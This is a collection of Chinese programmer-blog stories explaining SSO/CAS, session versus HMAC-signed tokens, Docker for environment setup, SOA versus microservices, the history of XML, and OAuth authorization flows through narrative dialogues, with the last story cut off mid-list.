Ruby  插嘴说： “这个办法不错，轻量级，我喜欢！  只是这个算法和密钥大家都得一致才行。 密钥的分发也是个问题。”




PHP听了半天， 发现了一个漏洞：“你这个token中放了一个userID, 可是我们每个系统的userID都不一样啊， 你的userID 我拿过来没有任何用处， 怎么办？”




这的确是个致命的问题！每个系统中都有一套自己独特的user id ,互不共享，这样以来之前讨论的什么共享session, 共享cookie ,都很难实现了 !




一阵沉默， 看来没救了。




夜已深，大家讨论得有点累了，纷纷睡去。




3第三夜





第三天，机房夜话继续， 但还是没有解决方案。气氛有点小尴尬。




老成持重的Java咳嗽了几声，示意要发言了。





“你们知道吗， 我们是一个企业内部系统，人类搞SSO就是想消除这多个账号的问题，将来每个系统都不需要维护自己的用户系统， 他们会建立一个统一的认证中心，所有的用户注册和认证都在那里做。”




“这么做行得通吗，认证中心怎么通知我们说用户已经认证了？”  C#问道




“这个过程稍微有点复杂” ， Java 对C# 说， “举个例子来解释下， 比如用户通过浏览器先访问你这个系统www.a.com/pageA ， 这个pageA是个需要登录才能访问的页面，你发现用户没有登录， 这时候你需要做一件额外的操作，就是重定向到认证中心，www.sso.com/login?redirect=www.a.com/pageA”




C#说： “为什么后面要跟一个redirect的url呢？ 奥，明白了， 将来认证通过后，还要重定向到我这里来。”




“没错， 浏览器会用这个www.sso.com/login?redirect=www.a.com/pageA 去访问认证中心， 认证中心一看， 没登录过， 认证中心就让用户去登录， 登录成功以后， 认证中心要做几件重要的事情 ：

1. 建立一个session。

2. 创建一个ticket （可以认为是个随机字符串）

3.  然后再重定向到你那里， url 中带着ticket : www.a.com/pageA?ticket=T123   与此同时cookie也会发给浏览器，比如：Set cookie : ssoid=1234, sso.com ”




“可是这个cookie对我一点用处都没有啊，跨域不能访问啊。”




“人家网站sso.com的cookie对你肯定没用了， 浏览器会保存下来。 但是注意那个ticket ”  Java 提醒道， “这个东西是个重要的标识，你拿到以后需要再次向认证中心做验证。”




“明白，是为了防止不坏好意的人伪造”









（点击看大图哦）




“你拿着token ,去问下认证中心， 这是您发的token 吗， 认证中心说没错，是我发的，那你就可以认为用户在认证中心登录过了”




“那我该干什么事情呢？ ”




“浏览器向你发出的请求不是www.a.com/pageA?ticket=T123 吗， 这时候你既然认为用户已经登录过了，那就给他建立session, 返回pageA这个资源啊”




“嗯， 我还需要给浏览器发一个cookie, 对吧， 这是属于我的cookie : Set cookie : sessionid=xxxx, a.com ”  C# 说道




"孺子可教， 注意，这时候浏览器实际上有两个cookie,一个是你发的，另外一个是认证中心发的。"




“如果用户再次访问我另外一个受保护的页面，www.a.com/pageA1， 该怎么办？ 难道还要去认证中心登录 ”  C#继续问




“那当然不用了，你给浏览器发过你自己的cookie , 到时候浏览器自然会带过来，你就知道它登录过了。 ”






（点击看大图哦）




“原来如此， 好麻烦啊”  C#感慨道。




Python 插了一句： “如果用户访问C#的系统(www.a.com/pageA)时已经通过认证中心登录了， 然后再访问我www.b.com/pageB, 会发生什么状况呢？”




Java 说：“很简单， 和访问www.a.com/pageA非常类似，唯一的不同就是不需要用户登录了，因为浏览器已经有了认证中心的cookie， 直接发给www.sso.com就可以了”




说着， Java 又画了两张图。






（点击看大图哦）




同样，认证中心会返回token , www.b.com 需要做验证






（点击看大图哦）




PHP 一直在努力的听，他说： “其实本质上就一个认证中心的cookie ,加上多个子系统的cookie 而已！”




Java 撇了一眼PHP ： “总结的很精辟！”




C#发现了一点新东西： “在认证中心，为什么要去做一个系统注册的操作呢？， 我看到注册了系统A,还有系统B”




"SSO 是单点登录，是不是还要有单点退出啊， 用户在一个系统退出了，认证中心需要把自己的会话和cookie干掉，然后还要去通知各个系统， 让他们把自己的会话统统干掉，这样才能在所有的系统都实现真正地退出啊。" Java回答。




大家琢磨了一会儿，很快就喧嚣起来：

“太麻烦了”

“我们的代码还得改动不少呢”

“重定向太多了， 把我都搞晕了”

“我觉得人类不会这么搞！”

......




Java 说“别小看它， 这个点子是耶鲁大学提出的，叫做CAS(Central Authentication Server ) ,  是一个很著名的SSO解决方案， 弄不好人类就会采用。  你们呐，还是好好学学吧。”




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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美好的旧时光








我经常怀念三十年前那美好的旧时光， 工作很轻松， 生活很悠闲。




上班的时候偶尔有些HTTP的请求发到我这里， 我简单的看一下， 取出相对应的html文档，图片，发回去就可以了， 然后就可以继续喝茶聊天。




我的创造者们对我很好， 他们制定的一个简单HTTP协议， 就是请求加响应，  尤其是我不用记住是谁刚刚发了HTTP请求，   每个请求对我来说都是全新的！




邮件服务器很羡慕我， 他说：老弟，你的生活太惬意了，  哪像我， 每次有人从客户端访问邮箱， 我都得专门给他建立一个会话， 来处理他发的消息， 你倒好， 完全不用管理会话。




这是由应用的特性决定的， 如果邮件服务器不管理会话， 那多个人之间的邮件消息就会完全混到一起了， 乱作一团了。







而30年前的Web 基本上就是文档的浏览而已， 既然是浏览，我作为一个服务器， 为什么要记住谁在一段时间里都浏览了什么文档呢？







2


Session








但是好日子没持续多久， 很快大家就不满足于静态的Html 文档了， 交互式的Web应用开始兴起， 尤其是论坛， 在线购物等网站。




我马上就遇到了和邮件服务器一样的问题， 那就是必须管理会话，必须记住哪些人登录系统，  哪些人往自己的购物车中放了商品，  也就是说我必须把每个人区分开。




这对我来说是个不小的挑战， 由于HTTP协议的无状态特性， 我必须加点小手段，才能完成会话管理。




我想出的办法就是给大家发一个会话标识(session id), 说白了就是一个随机的字符串，每个人收到的都不一样，  每次大家向我发起HTTP请求的时候，把这个字符串给一并捎过来， 这样我就能区分开谁是谁了。







3


沉重的负担








大家都很高兴， 可是我就不爽了。




每个人只需要保存自己的session id，而我需要保存所有人的session id ！  如果访问我的人多了， 就得由成千上万，甚至几十万个。




这对我来说是一个巨大的开销 ， 严重的限制了我的扩展能力， 比如说我用两个机器组成了一个集群， 小F通过机器A登录了系统，  那session id会保存在机器A上，  假设小F的下一次请求被转发到机器B怎么办？  机器B可没有小F的 session id啊。




有时候我会采用一点小伎俩： session sticky ， 就是让小F的请求一直粘连在机器A上， 但是这也不管用， 要是机器A挂掉了， 还得转到机器B去。




那我只好做session 的复制了， 把session id  在两个机器之间搬来搬去， 快累死了。









后来有个叫Memcached的给我支了招： 把session id 集中存储到一个地方， 所有的机器都来访问这个地方的数据， 这样一来，就不用复制了， 但是增加了单点失败的可能性， 要是那个负责session 的机器挂了，  所有人都得重新登录一遍， 估计得被人骂死。









我也尝试把这个单点的机器也搞出集群，增加可靠性， 但不管如何， 这小小的session 对我来说是一个沉重的负担。
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时间换空间








这几天的晚上我一直在思考， 我为什么要保存这可恶的session呢， 只让每个客户端去保存该多好？




可是如果我不保存这些session id ,  我怎么验证客户端发给我的session id 的确是我生成的呢？  如果我不去验证，我都不知道他们是不是合法登录的用户， 那些不怀好意的家伙们就可以伪造session id , 为所欲为了。




嗯，对了，关键点就是验证 ！




比如说， 小F已经登录了系统， 我给他发一个令牌(token)， 里边包含了小F的 user id， 下一次小F 再次通过Http 请求访问我的时候， 把这个token 通过Http header 带过来不就可以了。




不过这和session id没有本质区别啊， 任何人都可以可以伪造，  所以我得想点儿办法， 让别人伪造不了。




那就对数据做一个签名吧， 比如说我用HMAC-SHA256 算法，加上一个只有我才知道的密钥，  对数据做一个签名， 把这个签名和数据一起作为token ，   由于密钥别人不知道， 就无法伪造token了。












这个token 我不保存，  当小F把这个token 给我发过来的时候，我再用同样的HMAC-SHA256 算法和同样的密钥，对数据再计算一次签名， 和token 中的签名做个比较， 如果相同， 我就知道小F已经登录过了，并且可以直接取到小F的user id ,  如果不相同， 数据部分肯定被人篡改过， 我就告诉发送者： 对不起，没有认证。















Token 中的数据是明文保存的（虽然我会用Base64做下编码， 但那不是加密）， 还是可以被别人看到的， 所以我不能在其中保存像密码这样的敏感信息。




当然， 如果一个人的token 被别人偷走了， 那我也没办法， 我也会认为小偷就是合法用户， 这其实和一个人的session id 被别人偷走是一样的。




这样一来， 我就不保存session id 了， 我只是生成token , 然后验证token ，  我用我的CPU计算时间获取了我的session 存储空间 ！




解除了session id这个负担，  可以说是无事一身轻， 我的机器集群现在可以轻松地做水平扩展， 用户访问量增大， 直接加机器就行。   这种无状态的感觉实在是太好了！




（完）







你看到的只是冰山一角， 更多精彩文章，参见《码农翻身文章精华》
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 悲催的开发环境配置





张大胖如愿跳到了这家新公司的研发部门，他摩拳擦掌，准备大显身手。




按照入职的惯例， 配置一个本地的开发环境必不可少。 兴冲冲的大胖看到组长发过来的配置文档，不仅倒吸了一口凉气 ：竟然有几十页之多 ！  




细细一看， 足足有48个步骤， 我的天呐！




组内的老人们对新人投来了怜悯的目光， 其中不乏夹杂着幸灾乐祸， 似乎想起了本人刚入职时配置环境那惨不忍睹的时光。




大胖做了一次深呼吸，定了定神，正式开始苦难的历程。 




从SVN上下载代码， 解决编译错误， 咦，怎么缺少这么多的jar 文件？ 




好心老梁赶紧说： 我把jar文件发给你，  那个配置文档太老了， 有 两年都没人更新了。 




大胖心里一声叹息，但是他很细心，一边配置环境，还一边修改文档。  




他立志要搞一个最新版的出来： 从我开始， 后面的新人再也不用受折磨了。




可是谈何容易， 缺失的jar 文件还好办， 设置好Build Path以后把他们都commit到SVN上， 下次再有人下载，编译的依赖就自动解决了。




其他的就有点麻烦了，安装nginx , tomcat ,mysql, redis ....  哪个都不是省油的灯， 安装路径的选择、配置文件的修改，端口的设定， 最后还得把它们连起来。 




经过九九八十一难， 终于到了文档的最后一步： 运行。 




不过所料， 控制台一大堆错误信息触目惊心， 似乎在嘲笑每个新人的无能。 




大胖心中一万只神兽奔腾而过， 他感到了强烈的无助感。




老梁坐着那高档的程序员专用椅滑了过来： “怎么样？ 滋味不好受吧， 要不要我帮你一下？”




张大胖还能说什么， 老将出马，一个顶俩。




可是这一次老司机也翻车了， 老梁折腾了很久， 满头大汉 ， 总是有一个运行时错误解决不了。 




临近中午， 老梁说： 算了， 先去填饱肚子吧。 




大胖下午继续抖擞精神，把上午安装的系统删掉，重新再来一遍， 小样， 不信我搞不定你。 




3个小时过去了， 到了运行的时候，还是同样的错误。 




第二天再来一遍， 还是同样错误！ 难道是人品问题？  本来想大显身手，展示自己深厚的编程功底， 没想到在这个小阴沟里一直出不来了。




第三天，大胖干脆把机器格式化了， 看成败，人生豪迈，  只不过是从头再来。  




这一回老梁也在旁边盯着， 结对配置， 每一条配置命令都被仔细检查了100遍，  到了中午时分， 大胖热泪盈眶的看到 ： 系统终于可以跑起来了！
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  配置一次，到处运行





所有的坑都找到了， 所有的坑都被填上了。  




张大胖也陷入了沉思： 这个过程是在是太痛苦了， 怎么才能改进一下？ 




这么多步骤，这么多配置， 要是事先都弄好了， 直接拿过来用该多好！




大胖灵机一动 ：把这些配置好的Tomcat, Mysql, Redis...... 之流搞到一个虚拟机中不行吗？ 新人来了， 直接下载一个配置好的虚拟机， 开箱即用，  再也不用理会这么多啰里啰嗦的细节了。




张大胖是个实干家，马上卷起袖子实验， 可是结果却不尽如人意。 一是虚拟机太大，二是慢的要死， 这都喝了3杯咖啡了还没启动完。 




一次偶然的机会， 张大胖听到同事们在聊Docker,  简单的看了下相关的资料，他马上联想到， 既然虚拟机这么笨重， 何不用轻量级的Docker来解决问题呢？ 









和虚拟机一样， 把Tomcat， Mysql , Redis这些软件先配置好，形成一个项目特有的docker的镜像， 任何人只要得到这个镜像就可以用docker 引擎运行起来，形成一个容器，对外提供服务。  




张大胖迅速尝试了一下，果然是轻量级， 运行起来像闪电一般，起身倒茶的功夫就启动完成了。




老梁很赞赏大胖这种实干的精神，把外界流行的技术引入项目中来，  既学了新技术， 又提高了生产效率， 一举两得，双赢。




老梁自告奋勇做了第一个测试用户，也是异常的顺利，真是Build Once, Run Anyware啊，  于是docker 慢慢的在项目组中流行开来。 
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 稳定压倒一切





在项目的周例会上，张大胖又提出了一个新想法 : “既然我们开发都开始用docker了， 能不能把测试环境甚至生产环境也都改变成docker ？ 这样以来部署应用程序就很方便了，  直接把镜像运行起来就可以了。”




开发组的人纷纷赞同，想想将来只需要把一个镜像放到生产环境就可以部署了，多么美好的前景啊。




但是负责运维的老王表示反对： “这没必要吧？  三年前我们已经把生产环境给搭好了，  一直以来都没什么变化，  你说的那些本地的配置问题，在生产环境上根本就不存在， 为什么要用docker 这个新技术？  搞坏了生产环境谁负责？”




看来老王是很抵触啊， 张大胖想，不过也难怪，生产环境，稳定压倒一切。  




想想也是，生产环境都配置好了，现在升级应用无非就是把web代码，数据库的sql 交由老王去执行，大部分情况下还是自动化的， 改动配置的机会寥寥无几，必要性确实不太大。




不过老王也是很开明的， 他接着说： “你们不是在搞一个新的项目吗， 可以拿它来尝试一下啊， 开发，测试，生产全部都用docker， 如果确实是可以平滑的过渡， 那以后我们就推而广之。 ”




老梁说：“ 没错， 新技术尝试，慢慢来吧。"




虽然没有争取到生产环境也使用docker,  但张大胖对docker是越来越喜欢了， 他还额外发现了docker 的另外一个好处，那就是可以轻松地尝试新的技术。




原来想折腾一个新玩意， 在遇到依赖的情况下，特别麻烦，一个包接一个包的下载， 如果遇到被墙，那更是痛不欲生。  现在只需要下载一个包含新技术/新工具的镜像，运行起来即可， 实在是太体贴了！




不仅如此，有一次客户要求演示正在开发中的新项目， 往日按照项目经理的要求，搞一个可用的演示系统那可是费了劲了，现在只需要把镜像copy给项目经理，直接就可以用了， 真是方便。




Build once , run anyware,  张大胖算是体会到了。




后记：本文主要讲了docker的一个应用场景： 简化环境的配置，docker 还有很多其他优点，例如docker和微服务就是一对好基友， 感兴趣的同学可以看一看。




此外，当你试图引入一个新技术到项目的时候， 一定要看看新技术能解决什么问题， 能给项目组带来什么价值， 这样更容易成功。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    从SOA到微服务

                                                                                

                    

                    

                    
                    
                    小明毕业后为了户口，进入了一家大型国企的信息部门工作， 这个国企不差钱， 几十年来随着IT系统的发展， 也与时俱进地兴建了多个信息系统，只不过自家开发的极少， 从外边购买的极多， 虽然信息部也有开发能力， 但是当甲方的感觉是最妙的， 何况出了问题还可以把责任推出去。  





在这些系统当中， 小一点儿的有自动化办公系统(OA) ,  休假系统，车辆管理系统， 薪水支付系统， 大点儿的有客户关系管理系统， ERP系统 ..... 等等， 可以说是琳琅满目，让人目不暇接，几十年来IT发展的技术，几乎都能在公司的IT环境中找到。




小明的工作之一就是维护现在的IT系统博物馆， 博物馆中大部分都是遗留系统， 能工作，但是非常的老旧。硬件平台， 软件环境，开发语言各部相同，都是异构的。 




就说那个休假系统吧，还是用上个世纪流行的Delphi 写的。 还有那个OA系统， 也是上个世纪的ASP,运行在IIS上。  虽然界面丑陋，勉强能用。 




也有一点新东西，比如上周上线的那个维修系统不就用了最新的前端技术嘛， 小明也着实激动了一阵，看了两天的React。 




有一天有个著名外企的销售来到了小明的公司，请信息部门的老大吃了饭，K了歌。。。好像还搞了些小明这些小兵不知道的秘密活动。 




第二天老大给国企老总做了汇报， 过了一段时间， 公司发文了：  

为了提升IT效率，打破各个信息孤岛，实现各个信息系统之间的互联互通， 让业务和IT进行对齐， 达到业务敏捷性， 公司经慎重研究决定，邀请xxx公司作为咨询顾问， 从即日起开始实施SOA战略。 




小明看了一遍，愣住了，上面的字全都认识， 但连起来就不知道是什么意思， 虚头巴脑的， 唯一确定的是，咨询顾问要来了，要开始什么SOA了。




顾问果然来了， 先给小明他们的信息部门洗了一次脑， 小明的脑海中被各种新式的名词所充斥： SOA, ESB, SCA, BEPL.... 下了课， 小明和同事们讨论了很久， 模模糊糊的明白了要做什么事情。  




好像是把这些遗留的异构系统包装成粗粒度的服务， 还是 Web 服务，可以通过Http来访问，  然后呢， 让大家互相调用， 甚至可以把这些服务进行编排，形成一个大的业务流程， 完成更高层次的业务，  听起来挺有意思的。




外企的销售非常精明， 趁势卖了一大批硬件和软件，  他们的技术团队还确实帮着做了一个小的验证系统， 实现了一个业务场景，展示给公司老总看， 老总非常满意： 不错， 我们公司又一次站到了IT技术的前沿！ 




然后就没有下文了， 领导们似乎忘记了， SOA似乎没有发生过，互联互通呢？ 业务敏捷呢？




小明很困惑，周末约着同学张大胖去吃饭。




张大胖在一个互联网公司工作， 主要是做网上约车系统，  用的都是最前沿的技术， 他说： 听起来你们要把这些遗留的异构系统做数据/信息的集成啊， 只是没有做下去而已， 国企嘛可以理解。 你知道我们公司在干什么事儿吗？




小明说：“不会和我们一样吧？”




“完全不同！  我们公司才成立几年啊， 最重要的就是这个约车系统， 当然我们现在发展的很快，这三年以来系统已经快变成一个巨无霸了， 代码已经达到百万行级别， 没人能搞明白了， 代码库非常难于管理， 冲突不断。 系统部署也非常困难， 一点点小改动都需要巨无霸式的整体部署， 你能想象得到吗， 我们系统重启一次得15分钟！”




“我赛， 这么慢？ 不可思议，我用过你们的打车软件， 用起来还可以啊？”




“唉， 金玉其外，败絮其中， 你不知道我们每次发布有多痛苦， 但是竞争激烈， 我们还得频繁发布。 所以我们做的事情和你们相反， 不是集成， 而是拆分！  把一个巨无霸变成一些小的组件， 让这些小组件能完全独立的开发， 测试和部署。”




“那你们的开发团队怎么办？”　小明问。




“我们的组织结构也要随着这些小组件来重构啊，你看我们分成了“乘客管理”，“司机管理”，“旅程管理”，“支付管理”等好多组，　每个组只负责他们特定的一块儿功能，　并且每个组里边都有设计，开发，测试，部署等人员，一应俱全， 他们从头到尾全程负责。”




“有意思啊，这些小组件都是独立的，每个组件实例都是一个进程吧， 那这些小组件怎么交互？　难道也是通过我们公司所用的Web service ?”




“不不， 我们不用那重量级的Web service , 什么WSDL, 什么SOAP, 我们统统不用， 我们只用最轻量级的、基于Http 的Restful 来对外提供接口”




小明突然想到一个问题：“你们每个部门负责一个特定功能，那数据怎么办？还用统一的数据库吗？”




“这是个老大难问题，我们得做数据库的拆分啊，唉，　一言难尽。”




小明说 ：“可以理解，不过这样以来确实是更加敏捷了。”




大胖说：“这还不是最厉害的，最厉害的是我们能快速的自动化的部署这些小组件，并且能为他们创建很多实例来运行，有一个挂掉了也没关系，别人可以调用那些还在运行的。”




“所以关键点就是这些小组件对外提供的服务是无状态的，对吧？”




“没错”　 大胖说，　“这一点和你们的SOA是一样的，  对了， 告诉你一个小秘密，我们在生产环境会做一些‘猴子测试’，通过写脚本随机的停掉一些实例，看看我们的系统运行的怎么样”




小明说：“厉害啊，你们都玩的可都是心跳啊。”




“木有办法，只有在生产环境才能发现真正的问题啊”




“难道你们的这种方式没有缺点吗？”




“当然有了， 就拿数据库来说吧， 数据做了分区， 一致性怎么保证啊？   选择分布式事务非常麻烦， 有时候不得不选择最终一致性来妥协； 还有服务多了， 客户调用起来非常的麻烦， 所以经常得把多个接口API封装，对外提供一个简单的接口 ； 当然这种基于HTTP的调用远没有原来的在一个进程内的方式效率高。 还有一个要命的问题就是监控，你想想这么多运行的实例， 互相之间有调用关系，一个地方出错了， 怎么追踪啊，很麻烦。”




“不管如何， 你们这种把系统拆分，让一个独立的组织负责独立的部分还是很敏捷啊， 对了，你说的小组件，难道没有一个像SOA这样的高大上名称吗？”




“当然有了， 业界把这种方式叫做微服务！  虽然这个词不能完整的表达我们做的事情。 我现在很期望Martin Flower 给它起个更贴切的名称，就像Dependency Injection 那样， 比之前的IoC强多了。 ”




吃过饭回去的路上，小明心想：天下大势，真是分久必合，合久必分啊， 我们在零散系统的集成， 大胖他们又在搞巨无霸应用的拆分。




相比而言，小明还是羡慕大胖，羡慕他们公司的朝气蓬勃。 他虽然明白自己所在国企的信息系统和大胖做的不一样， 但是暮气沉沉的感觉让人看不到希望，  再这么混下去， 热爱的技术可就真的废了。




过了年，小明已经在国企服务了3年了，顺利的拿到了帝都的户口， 然后毫不迟疑的跳槽到了大胖的公司，去搞微服务去了。
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  诞生和发展





我虽然20岁不到， 可已经是满脸沧桑了， 这不能怪我， 你们人类的IT技术发展的实在太快。很多技术别说20岁了， 10岁，甚至5岁都活不到就销声匿迹了。 




20年来， 我有着波澜壮阔的人生， 曾经在多个领域占据统治地位， 但如今这些领域已经被侵蚀得不成样子了。




我的诞生可以算是一个分水岭，在此之前，程序之间想交换数据， 都用自定义的格式， 千奇百怪，无所不有，比如：




[978-7-229-03093-3|三体|刘慈欣|中国最牛的科幻书|38.00]

{978-7-229-03093-3 三体 刘慈欣 中国最牛的科幻书 38.00}

{(978-7-229-03093-3) (三体) (刘慈欣) (中国最牛的科幻书) (38.00)}




这些字都认识， 意思也能猜个八九不离十， 但是非要问精确的含义是什么，只有互相交谈的两个程序知道了， 如果第三个程序也想掺乎进来， 必须得问问码农每个字段到底是什么意思才可以。

现在好了， 你只要看看用我XML来描述，就立刻明白了：




<book>

<isbn>978-7-229-03093-3</isbn>

<name>三体</name>

<author>刘慈欣</author>

<desc>中国最牛的科幻书</desc>

<price>38.00</price>

</book>




我成为了一个通用的世界语，无论你是Java, C#, Python...... 只要你能读取XML的格式， 就可以互相交谈， 很明显这种简单的格式解析起来没啥难度， 一大批支持各种语言的XML解析器如雨后春笋般冒了出来。




我们是个大家族， 比如XML DTD 和 XML Schema , 这哥俩专门负责对XML进行校验， 一个程序拿到一个XML数据以后，只需要用DTD/Schema 校验一下，就知道这个数据是不是缺胳膊少腿， 如果真有问题， 就不用费心继续读取了。




还有号称小李飞刀的XPath， 能够迅速而精准地从一大段复杂的XML中刺中特定的节点，根本不用你费心费力地一层一层的寻找。




百变大师XSL/XSLT ， 能轻松地把XML转换为另外一种表示和格式，例如HTML, 功能之强大令人瞠目结舌。




我们一大家子互相扶持，迅速地征服了数据交换和传输这一领地。




不仅如此，我们家族还成功地和Java 结盟， 更上一层楼。 一个是跨平台的语言， 另外一个也是跨平台的语言，你说是不是绝配？

2



 攻城掠地





除了数据传输以外， 我最早在配置文件领域取得了成功，  说道配置文件， 之前都是简单的key=value 这样的属性文件， 描述简单的结构还行， 对于复杂的结构就力不从心了，  我XML就不同了， 全称是‘Extensible Markup Language’ ， 可扩展性极强，标签随意定制，即使是在复杂的逻辑下，我XML也是得心应手，我给你看个web.xml的例子吧：










人民群众的眼睛是雪亮的， 看到我的可扩展性这么强悍，想定义啥tag就定义啥tag , 纷纷从属性文件倒戈， 什么Struts , Spring ,Hibernate , MyBatis 写配置文件时不约而同地选择了我。




这是个巨大的胜利啊， 除了这个之外，我还成功地进入了新的领域， 还是先看个例子：









这个代码片段中<copy>是表示把文件从一个地方复制到另外一个地方。 <zip>是把文件打成zip包 ， 是不是一目了然？




这其实是Ant的一段代码， 你一看就明白是怎么回事了， 所以我非常适合描述任务和流程， 因为其中有复杂的控制，其实你想想，Ant是用我的标签定义了一套自动化处理的‘语言’出来， 程序员可以用这个‘语言’ 写出非常复杂的程序出来， 厉害吧？




还有一个很好的例子， 10多年前各大厂商鼓噪SOA， Web 服务开始流行， 它也要做成跨平台的，需要一种方式来描述一个Web服务有什么操作， 调用这个操作需要什么输入参数， 有哪些输出参数等等 。 我一想这简直就是为我量身定制的啊。我轻轻松松就可以搞定：”









虽然有些冗长， 但是也没办法， 我那tag 就是成对出现的啊。




我没有想到的是，程序员也把我应用到了界面描述的领域， 其实界面的生成是个大老难的问题， 人类曾经走了两个极端， 一个是把界面布局，控件等信息都塞到一个文件当中， 这个文件通常不是人直接可读的，而是由编辑器来装载的，  例如VB。 还有一个极端就是完全用代码来生成界面， Java Swing 就是杰出的代表。




既然我的描述能力这么强大， 完全可以拿来描述界面啊， 就像描述任务和流程一样。  然后程序或者框架读取XML，把界面生成不就可以了。




要想有直观认识的话可以看看Android,  还有早期Firefox 的XUL  , 微信的XAML都是用我来描述界面的。




总而言之，我在数据交换， 配置文件， 任务和流程的描述， Web服务的描述， 还有界面描述领域都取得了成功， 不是自夸， 这个时候确实是我人生的巅峰
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 蚕食





好景不长， 俗话说物极必反，盛极必衰。  在数据传输和数据交换这个领域， 很快被Javascript 和 JSON 撕开了一个口子， 他们充分地利用了人们对冗余标签的不满， 搞出了这样简洁的格式：









简洁，数据量小， 方便传输， 更重要的是Javascript 解析起来非常方便。




我说你们这是乱搞， 没有schema ,  你这数据怎么验证啊？出错了怎么办？




他们告诉我， 老先生，您想多了，我们用JSON做同一个应用内的数据传输， 从浏览器到服务器， 或者从App到服务器， 同一个公司的人， 只要接口定义好，大部分情况下都没问题，不用费心做验证， 即使数据被损坏，抛出错误就行了啊。




我表示无语， 只能眼睁睁地看着JSON攻城掠地， 把数据传输这一块高地慢慢地蚕食了。




再说说配置文件吧， 原来喜欢我的码农开始抱怨， 他们说XML描述又臭又长，说简短的配置文件还可以， 稍微长一点看起来头都晕了。  




怎么办？  Spring, Hibernate 这帮家伙见风使舵， 纷纷转向Java注解。XML文件配置能干的活， Java注解也可以做， 甚至干的更好， 于是我又流失了一大批拥趸。




SOA也好景不长，逐渐没落，有个叫Roy Thomas Fielding的家伙 发表了一篇论文， 提了一个叫做RESTful风格的Web架构出来， 搞得人心浮动， RESTful风格的服务开始大行其道， 使用传统Web 服务的人越来越少， 既然没人用Web 服务， 也就没人使用XML来写WSDL,   于是这块阵地也慢慢的丢失了。




屈指一算， 我丢失了三块重要的阵地， 很快从巅峰滑落了。




不是我不明白，是技术变化实在快，现在唯一能安慰我的就是在复杂的结构、任务、流程的描述方面， 我还有着不可替代的作用。 




如果有一天出现一门全新的技术把我替代了， 我就老老实实让位， 去养老院找我爷爷GML（Generalized Markup Language ） 养老去吧。



你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》
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1. 我把密码献给你





小梁开发了一个“信用卡管家”的程序 ， 可以自动从邮箱中读取信用卡相关邮件，分析、汇总，形成一个报表。 




小梁找到信用卡达人张大胖试用 ： “你的信用卡那么多，看看我这个程序吧， 保准你会爱死它。”




张大胖尝试了几下说： “咦，你这个程序要读取我的网易邮箱啊，那需要用户名/密码吧”




“是啊 ， 你把密码告诉输入程序不就行了， 我的程序替你加密保存，保证不会泄露。”




“得了吧你， 我可不会告诉你我的密码， 为了方便记忆， 我的密码都是通用的， 万一泄露了就完蛋了”




小梁说：“这样吧，我不保存，我就访问邮箱的时候使用一次， 用完就扔！”




“你以为你是阿里巴巴啊， 有信用背书， 你只是个小网站， 我把密码献给你，总是觉得不安全。就是我信任你，别人能信任你吗？”




小梁想想也是， 这是一个巨大的心理障碍， 每个人都要誓死捍卫自己的密码啊。







2. Token




过了一周， 小梁兴致勃勃地把张大胖拉来看“信用卡管家”的升级版。




“升级为2.0了啊， 这次不用问你要网易邮箱的用户名和密码了”




“那你怎么访问我的邮箱？”




“很简单，我提供了一个新的入口，使用网易账号登录， 你点了以后，其实就会重定向到网易的认证系统去登录，  网易的认证系统会让你输入用户名和密码，并且询问你是否允许信用卡管家访问网易邮箱， 你确认了以后，就再次重定向到我的‘信用卡管家’网站， 同时捎带一个‘token’ 过来， 我用这个token 就可以通过API来访问网易邮箱了。 在这个过程中， 我根本不会接触到你的用户名和密码，怎么样， 这下满意了吧？”




“你说得轻松， 你这个信用卡管家是个小网站，还没有什么名气， 网易怎么会相信你这个网站呢？”




“我当然要先在网易注册一下啊， 他们会给我发个app_id 和app_secret，  我重定向到网易的时候需要把这个东西发过去， 这样网易就知道是‘信用卡管家’这个应用在申请授权了。”








（点击看大图）





张大胖说： “ 你这重定向来重定向去的， 实际上不就是为了拿到一个token 吗？”




“对啊，因为你不信任我的信用卡管家， 不让它保存你的密码，只好用token的方法了 , 它是网易认证中心颁发的，实际上就代表了你对信用卡管家访问邮箱的授权，所以有了这个token 就可以访问你的邮箱了” 




"对了"  张大胖问题， “你为什么用Javascript的方式来读取token啊”




“这样我的后端服务器就不用参与了，工作都在前端搞定， 你注意到那个URL中的#号了吗？ www.a.com/callback#token=<网易返回的token>”




张大胖说： “我知道啊，这个东西叫做hash fragment,  只会停留在浏览器端， 只有Javascript 能访问它，并且它不会再次通过http request 发到别的服务器器， 我想这是为了提高安全性吧。”




小梁说： “没错， 那个token非常非常重要，得妥善保存，不能泄露！”




“可是在第6步通过重定向，这个token 以明文的方式发送给了我的浏览器， 虽然是https ，不会被别人窃取，可是浏览器的历史记录或者访问日志中就能找到， 岂不暴露了？”




小梁说： “这个.... ， 我说你这个家伙，安全意识很强烈嘛， 让我想想，有没有更安全的方式。"




3. Authorization  Code + Token




又过了一周，小梁成功地把信用卡管家升级为3.0.




他对张大胖说： “这次我成功地把那个非常重要的、表示授权的token 给隐藏起来了， 你要不要看看？”




“你先说说你是怎么隐藏的？”




“其实整体思路和之前的类似，只是我引入了一个叫做Authorization  Code 的中间层。 当你用网易账号登录的时候， 网易认证中心这一次不给我直接发token,而是发一个授权码(authorization code) ,   我的信用卡管家服务器端取到这个code以后，在后台再次访问网易认证中心， 这一次他才发给我真正的token 。 还是直接上图吧：”






（点击看大图）




张大胖说： “还比较容易理解， 本质上就是你拿着这个返回的授权码在服务器后台‘偷偷地’完成申请token 的过程， 所以token 浏览器端根本就接触不到，对吧？”




“什么叫偷偷地申请token ？ 这是我信用卡管家服务器和网易之间的正常交流， 只是你看不到而已。”




“开个玩笑了， 你虽然隐藏了token,但是这个授权码确是暴露了啊，你看第7步，我在浏览器中都能明文看到，  要是被谁取到， 不也是照样能取到token吗？”




小梁说： “我们肯定有防御措施， 比如这个授权码和我的信用卡管家申请的app_id，app_secret关联， 只有信用卡管家发出的token请求， 网易认证中心才认为合法； 还可以让授权码有时间限制，比如5分钟失效，还有可以让授权码只能换一次token, 第二次就不行了。 ”




“听起来似乎不错， 好吧， 这次我可以放心地使用了！”




4. 后记




本文讲的其实就是就是OAuth 中的三种认证方式，依次是：

1. Resource Owner Password Credentials Grant(资源所有者密码凭据许可)

